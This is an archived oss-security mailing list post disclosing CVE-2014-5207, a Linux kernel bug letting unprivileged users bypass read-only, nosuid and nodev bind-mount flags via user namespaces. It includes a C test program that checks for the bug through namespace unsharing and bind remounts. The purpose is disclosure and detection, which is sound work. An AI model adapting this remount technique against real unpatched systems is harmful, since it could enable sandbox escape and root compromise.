Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 13 Aug 2014 09:47:25 -0700
From: Andy Lutomirski <luto@...capital.net>
To: oss-security@...ts.openwall.com
Subject: Re: CVE Request: ro bind mount bypass using user namespaces

[sorry for awkward threading]

On Tue, Aug 12, 2014 at 4:54 PM, Andy Lutomirski <luto@...capital.net> wrote:
> On 08/12/2014 02:48 PM, Kenton Varda wrote:
>> Due to a bug in the Linux kernel's implementation of remount, on systems
>> with unprivileged user namespaces enabled, it is possible for an
>> unprivileged user to gain write access to any visible read-only bind mount.
>> It is also possible to bypass flags like nodev, nosuid, and noexec.
>>
>> This problem affects sandboxing / containerization systems that do not
>> expose the regular filesystem to the sandboxed process, but do expose a
>> bind-mounted view of that filesystem using these flags to enforce security.
>> This bug may enable a sandbox break-out. Sandboxes which have used
>> seccomp-bpf to disable the "mount" system call or to disable user
>> namespaces are likely safe.
>
> nosuid/nodev failures are probably exploitable for full root in many
> common configurations.

These vulnerabilities only exist if you can unshare your user
namespace, which, as a practical matter, requires a 3.12-ish or newer
kernel.  (I think the option was available earlier, but I don't think
any distros enabled it.)  You need CONFIG_USER_NS=y and, if you have
some patch that lets you turn off user namespaces (is that what
kernel.unpriv_user_ns or whatever is?  it's not there on my system),
then you *may* be safe.

Note that, even if only root can unshare user namespaces, it's still
plausible that code in a userns sandbox could use these bugs to root
the host.

I've attached a test case for CVE-2014-5207.  This test demonstrates
the problem, but it shouldn't be able to harm the system it runs on.
You can run it as root or as an unprivileged user.

Note that, if you're using whatever patch adds that sysfs entry, it's
probably worth running the test case as root, but it may still fail.
If it doesn't explicitly report that you're safe, then you shouldn't
take its output to mean that you're safe; the hardening patch may
interfere with this particular test, even if it wouldn't prevent an
exploit.

Kenton, want to post your test for the -5206 issue?

--Andy

/*
  Test case for CVE-2014-5207
  Copyright (c) 2014 Andy Lutomirski

  This program can be distributed under the terms of the GNU GPL.
  See the file COPYING.

  This is not an exploit; all it does is check whether the bug exists.
*/

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <unistd.h>

#define MOUNT_NAME "check-CVE_2014_5207"
#define MOUNT_PATH "/tmp"

static void show_state(void)
{
	char buf[1024];
	FILE *mountinfo = fopen("/proc/self/mountinfo", "r");
	if (!mountinfo)
		err(1, "/proc/self/mountinfo");

	while (fgets(buf, sizeof(buf), mountinfo)) {
		if (strstr(buf, MOUNT_NAME))
			printf("%s", buf);
	}
}

static void set_map(const char *path, uid_t outer)
{
	char buf[1024];
	int fd = open(path, O_WRONLY);
	if (fd == -1)
		err(1, "open map");
	sprintf(buf, "0 %ld 1", (long)outer);
	if (write(fd, buf, strlen(buf)) != strlen(buf))
		err(1, "write map");
	close(fd);
}

int main()
{
	uid_t euid = geteuid();
	gid_t egid = getegid();

	printf("Preparing (failures here are inconclusive)...\n");

	if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
		err(1, "unshare");

	set_map("/proc/self/uid_map", euid);
	set_map("/proc/self/gid_map", egid);

	if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0)
		err(1, "make-rprivate");

	if (mount(MOUNT_NAME, MOUNT_PATH, "tmpfs",
		  MS_NOSUID | MS_NODEV, NULL) != 0)
		err(1, "mount tmpfs");

	show_state();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
		err(1, "unshare");

	set_map("/proc/self/uid_map", 0);
	set_map("/proc/self/gid_map", 0);

	printf("Testing...\n");

	if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
		  MS_REMOUNT | MS_BIND, NULL) != 0) {
		printf("Remount failed; you should be safe.\n");
	} else {
		printf("Remount succeeded; you are vulnerable.\n");
		show_state();
		return 0;
	}

	/* Just in case, check for a CVE-2014-5206-like bug. */
	if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
		  MS_BIND | MS_NOSUID | MS_NODEV, NULL) != 0)
		err(1, "extra-paranoid bind");

	if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
		  MS_BIND | MS_REMOUNT | MS_NOSUID | MS_NODEV, NULL) != 0)
		err(1, "extra-paranoid remount 1");

	if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
		  MS_BIND | MS_REMOUNT, NULL) != 0) {
		printf("Fancy retry also failed, which is good.\n");
	} else {
		printf("Fancy retry succeeded, which means you may still be vulnerable\n");
		show_state();
	}

	return 0;
}

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ